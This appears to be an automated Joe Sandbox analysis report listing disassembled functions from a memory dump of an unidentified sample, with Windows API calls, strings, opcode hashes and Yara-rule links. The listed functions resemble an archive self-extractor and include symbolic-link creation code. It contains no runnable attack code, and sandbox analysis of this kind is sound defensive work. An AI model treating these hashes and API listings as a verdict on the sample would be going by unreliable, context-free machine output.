Instruction Fuzzy Hash: B1A001AA3AA696FC71187252AD0ACBB525DD4C8F613B0991EF942D4081A89059851435

Function 00DE1D32 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a9517726cbfb66b1c7e81626474e160ad181f930eb7849e4dc121cce0fd81fdb
Instruction ID: 60ff0f57789a92ac96584bf591c5f11df4174445d91b3d2f91b20560635b1da9
Opcode Fuzzy Hash: a9517726cbfb66b1c7e81626474e160ad181f930eb7849e4dc121cce0fd81fdb
Instruction Fuzzy Hash: B1A001AA3AA696FC71187252AD0ACBB525DD4C8F613B0991EF942D4081A89059851435

Function 00DE1D28 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1CFC

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a33b139527e1a7c66f25576304481581595a94b6c3c3c3d54f3bcfc1180f0e12
Instruction ID: 60ff0f57789a92ac96584bf591c5f11df4174445d91b3d2f91b20560635b1da9
Opcode Fuzzy Hash: a33b139527e1a7c66f25576304481581595a94b6c3c3c3d54f3bcfc1180f0e12
Instruction Fuzzy Hash: B1A001AA3AA696FC71187252AD0ACBB525DD4C8F613B0991EF942D4081A89059851435

Function 00DE1E58 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 02f472a94bbc63e09271050a20a33b9bcc6091145fb7266b7aeb4ce85d1a9261
Instruction ID: 4f4fc834aae7fb0c646d3c987fea548fe8241a9e87e22a75ddf05530f6528f15
Opcode Fuzzy Hash: 02f472a94bbc63e09271050a20a33b9bcc6091145fb7266b7aeb4ce85d1a9261
Instruction Fuzzy Hash: 36A011AA3A8282BC30083202AC0AC3B020CC0C0F203B0880EF802A0082A88008800030

Function 00DE1E4E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4a4d4fdd44c1f6cdc7c563a8a7544fb23c11bb304c278179e1d1bf10e0790e36
Instruction ID: 4f4fc834aae7fb0c646d3c987fea548fe8241a9e87e22a75ddf05530f6528f15
Opcode Fuzzy Hash: 4a4d4fdd44c1f6cdc7c563a8a7544fb23c11bb304c278179e1d1bf10e0790e36
Instruction Fuzzy Hash: 36A011AA3A8282BC30083202AC0AC3B020CC0C0F203B0880EF802A0082A88008800030

Function 00DE1E44 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 67b0df573138adfafcbd3aa8fcceec8476b3c5bab5cc2b07dd403bc9aa9385b2
Instruction ID: 4f4fc834aae7fb0c646d3c987fea548fe8241a9e87e22a75ddf05530f6528f15
Opcode Fuzzy Hash: 67b0df573138adfafcbd3aa8fcceec8476b3c5bab5cc2b07dd403bc9aa9385b2
Instruction Fuzzy Hash: 36A011AA3A8282BC30083202AC0AC3B020CC0C0F203B0880EF802A0082A88008800030

Function 00DE1E6C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b038877470ce5a7286840128ffcbfdfe3191b5e758de5a07ee92c8c1ec798a5c
Instruction ID: 4f4fc834aae7fb0c646d3c987fea548fe8241a9e87e22a75ddf05530f6528f15
Opcode Fuzzy Hash: b038877470ce5a7286840128ffcbfdfe3191b5e758de5a07ee92c8c1ec798a5c
Instruction Fuzzy Hash: 36A011AA3A8282BC30083202AC0AC3B020CC0C0F203B0880EF802A0082A88008800030

Function 00DE1E62 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 263a164d8bc52121684aea23fae985d76028fbd2dd04cb31a0e30fa969722b17
Instruction ID: 4f4fc834aae7fb0c646d3c987fea548fe8241a9e87e22a75ddf05530f6528f15
Opcode Fuzzy Hash: 263a164d8bc52121684aea23fae985d76028fbd2dd04cb31a0e30fa969722b17
Instruction Fuzzy Hash: 36A011AA3A8282BC30083202AC0AC3B020CC0C0F203B0880EF802A0082A88008800030

Function 00DE1E3A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E22

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e61e3966fa595584e3ed47a004a55c560983968227fec55f1b1d773ccd229b95
Instruction ID: 4f4fc834aae7fb0c646d3c987fea548fe8241a9e87e22a75ddf05530f6528f15
Opcode Fuzzy Hash: e61e3966fa595584e3ed47a004a55c560983968227fec55f1b1d773ccd229b95
Instruction Fuzzy Hash: 36A011AA3A8282BC30083202AC0AC3B020CC0C0F203B0880EF802A0082A88008800030

Function 00DE1D55 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1D5D

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: be65f74f9a1642c5c777addd29ffd432f95887b4e023df1b0faafdaa0d88a603
Instruction ID: de9d1c1c04ae940226ea1fb627f9d13c9004496244c3f36df6b2004cdc97d7fc
Opcode Fuzzy Hash: be65f74f9a1642c5c777addd29ffd432f95887b4e023df1b0faafdaa0d88a603
Instruction Fuzzy Hash: 97A002D73A9745BC71087252AD0FC3F021CD4C1F21BB0951FF540E40C1B9C01D850435

Function 00DD1A76 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32(00000000,00DE1108,00000074,00DDE94A), ref: 00DD1A7C

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 1552a5477a948ed8fa1697017fe2de4aac8d409dcd825307c323e969cb9c1a97
Instruction ID: 2204b3dccdbfa1fbac7919ea1c6b9fd9d04346e2b6854a02f0a2ca8203ca5f9c
Opcode Fuzzy Hash: 1552a5477a948ed8fa1697017fe2de4aac8d409dcd825307c323e969cb9c1a97
Instruction Fuzzy Hash: 71A02228300302838F202BB08F0FB0F300E8C03AE0B00C0883000C20A2CF28C0008030

Function 00DCE730 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,?,00DCE429,381977BE,?,?,00000000,00DF8950,000000FF,?,00DCA6F4,?,00000011), ref: 00DCE74C

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5329390114a9b3700337ddaba2967d947c93aab6220f74663c4fdd3dbfff936a
Instruction ID: a87fc77745be687ede21f488a961e03127f0acd2b3ac8ec4903dda2f7618af16
Opcode Fuzzy Hash: 5329390114a9b3700337ddaba2967d947c93aab6220f74663c4fdd3dbfff936a
Instruction Fuzzy Hash: 1EF082B10427129EEB348A24C848B63B7E4AB11330F184B0ED0F2439E0D7A1A989DBA0

Non-executed Functions

Function 00DCA98F Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 436fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCA999

Part of subcall function 00DCA90A: GetCurrentProcess.KERNEL32(00000020,?), ref: 00DCA926
Part of subcall function 00DCA90A: GetLastError.KERNEL32(?,?), ref: 00DCA96A
Part of subcall function 00DCA90A: CloseHandle.KERNEL32(?,?,?), ref: 00DCA979

Part of subcall function 00DCB1B7: __EH_prolog3.LIBCMT ref: 00DCB1BE

Part of subcall function 00DCF07C: __EH_prolog3_GS.LIBCMT ref: 00DCF083

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000000,00000160,\??\,00000000,00000000,?,00000108,00DCB352), ref: 00DCAC5D

Part of subcall function 00DCF2F2: __EH_prolog3_GS.LIBCMT ref: 00DCF2F9
Part of subcall function 00DCF2F2: GetFileAttributesW.KERNEL32(00000000,0000001C,00DCF2CA,?,00DCA3FB), ref: 00DCF306
Part of subcall function 00DCF2F2: GetFileAttributesW.KERNEL32(00000000), ref: 00DCF336

CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000000,00000160,\??\,00000000,00000000,?,00000108), ref: 00DCAC8C
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000,?,00000000,00000160,\??\,00000000,00000000,?,00000108,00DCB352), ref: 00DCAE2A

Part of subcall function 00DCF5EF: __EH_prolog3_GS.LIBCMT ref: 00DCF5F6
Part of subcall function 00DCF5EF: RemoveDirectoryW.KERNEL32(00000000,0000001C,00DCAC1F,?,00000000,00000160,\??\,00000000,00000000,?,00000108,00DCB352,?,?,?,?), ref: 00DCF603
Part of subcall function 00DCF5EF: RemoveDirectoryW.KERNEL32(00000000,?,00000000,00000160,\??\,00000000,00000000,?,00000108,00DCB352,?,?,?,?,?), ref: 00DCF635

DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000003,00000000,00000000,00000000,00000000), ref: 00DCAE85
CloseHandle.KERNEL32(00000000,?,00000000,00000160,\??\,00000000,00000000,?,00000108,00DCB352,?,?,?,?,?), ref: 00DCAE90
GetLastError.KERNEL32(?,?,00000000,00000160,\??\,00000000,00000000,?,00000108,00DCB352,?,?,?,?,?), ref: 00DCAEA5
RemoveDirectoryW.KERNEL32(?,00000009,?,00000000,00000160,\??\,00000000,00000000,?,00000108,00DCB352,?,?,?,?,?), ref: 00DCAEE9

Strings

SeRestorePrivilege, xrefs: 00DCA9CB
SeCreateSymbolicLinkPrivilege, xrefs: 00DCA9D5
\??\, xrefs: 00DCAA30
UNC\, xrefs: 00DCAAD3

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: FileH_prolog3_$CloseDirectoryHandleRemove$AttributesCreateErrorLast$ControlCurrentDeviceH_prolog3Process
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3794808894-3508440684
Opcode ID: 4764dbfa0fb2114fa357eace546fe83ec5cebb339ecd89b0d7f6b7558a2d9de3
Instruction ID: c3c8275fc43815b67f807cd359f05f4601d11f3ff304d08e97a70f95ddebf24c
Opcode Fuzzy Hash: 4764dbfa0fb2114fa357eace546fe83ec5cebb339ecd89b0d7f6b7558a2d9de3
Instruction Fuzzy Hash: 7A02B27490025E9EDB14EB78C952FEDB3B8EF15304F24819EE456A3282DB706E49CB71

Function 00DDDB70 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 260windowfileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DDDB7A
SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00DDDBF4
EndDialog.USER32(?,00000006), ref: 00DDDC07
GetDlgItem.USER32(?,0000006C), ref: 00DDDC23
SetFocus.USER32(00000000,?,?,REPLACEFILEDLG,?,?,00000648), ref: 00DDDC2A

Part of subcall function 00DC2336: SetDlgItemTextW.USER32(000204C2,?,00000000), ref: 00DC2345

SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00DDDC92
FindFirstFileW.KERNEL32(00000000,?,?,?,REPLACEFILEDLG,?,?,00000648), ref: 00DDDCAB

Part of subcall function 00DDCC1D: FileTimeToSystemTime.KERNEL32(?,?,381977BE,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC65
Part of subcall function 00DDCC1D: SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC74
Part of subcall function 00DDCC1D: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC82
Part of subcall function 00DDCC1D: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCC90
Part of subcall function 00DDCC1D: GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCCAB
Part of subcall function 00DDCC1D: GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032,?,?,?,00000000,00DF9F98,000000FF), ref: 00DDCCCA

FindClose.KERNEL32(?,?,00000000,?,?,?,REPLACEFILEDLG,?,?,00000648), ref: 00DDDD52
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00DDDDD5

Part of subcall function 00DDD350: GetNumberFormatW.KERNEL32(00000400,00000000,?,00E08884,?,00000032), ref: 00DDD3AF

Strings

REPLACEFILEDLG, xrefs: 00DDDB8C
%s %s, xrefs: 00DDDD90, 00DDDEB2

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Time$Item$FileSystem$FormatMessageSend$Find$CloseDateDialogFirstFocusH_prolog3_LocalNumberSpecificText
String ID: %s %s$REPLACEFILEDLG
API String ID: 103725086-439456425
Opcode ID: 361d00c86a10312a70be501393ff423f20c68ebe6344a9b83abefc09d41fde6a
Instruction ID: 1bd2488b1de9ee64f4f99e46bb1d5c1b064d24a8beb9a1cda94f915cdedd1602
Opcode Fuzzy Hash: 361d00c86a10312a70be501393ff423f20c68ebe6344a9b83abefc09d41fde6a
Instruction Fuzzy Hash: 0B91B075A00218AEDB24EB64CC56FFE777EEB55300F14809AB50AA72D2DA705F48CB31

Function 00DCF9B3 Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DCF9BD
FindFirstFileW.KERNEL32(00000000,?,00000270,00DCF985,?,?,?,00DCA63D,?,?,00000000,?,00000000,000001A0,00DCB025,00000000), ref: 00DCF9DD

Part of subcall function 00DD1520: __EH_prolog3_GS.LIBCMT ref: 00DD1527

FindFirstFileW.KERNEL32(00000000,?,?,?,00DCA63D,?,?,00000000,?,00000000,000001A0,00DCB025,00000000,STM), ref: 00DCFA18
GetLastError.KERNEL32(?,?,00DCA63D,?,?,00000000,?,00000000,000001A0,00DCB025,00000000,STM), ref: 00DCFA31
FindNextFileW.KERNEL32(?,?,00000270,00DCF985,?,?,?,00DCA63D,?,?,00000000,?,00000000,000001A0,00DCB025,00000000), ref: 00DCFA55
GetLastError.KERNEL32(?,?,00000270,00DCF985,?,?,?,00DCA63D,?,?,00000000,?,00000000,000001A0,00DCB025,00000000), ref: 00DCFA62

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: FileFind$ErrorFirstH_prolog3_Last$Next
String ID:
API String ID: 1064375344-0
Opcode ID: 9f8b431dd68158d7ebd4e040f940dad9b510c4eb8bf484d09f7802b0388135de
Instruction ID: 0a68e661fe488d4772539ed736a92c332843dcd5605bc524878d500e76f7d1bf
Opcode Fuzzy Hash: 9f8b431dd68158d7ebd4e040f940dad9b510c4eb8bf484d09f7802b0388135de
Instruction Fuzzy Hash: 4D41513590461A9BCB14DF74C895BEDF775BF09320F5482AAE42AE3691DB30AA44CF70

Function 00DF2B50 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f7d02a8585976d18e9b05b4497ae30263b16b7214ba80c757a27719df4add70
Instruction ID: 8f8436dc1e520ee35b17a30b8351dd80d83fe051f2e9255586e899cc403e9e94
Opcode Fuzzy Hash: 3f7d02a8585976d18e9b05b4497ae30263b16b7214ba80c757a27719df4add70
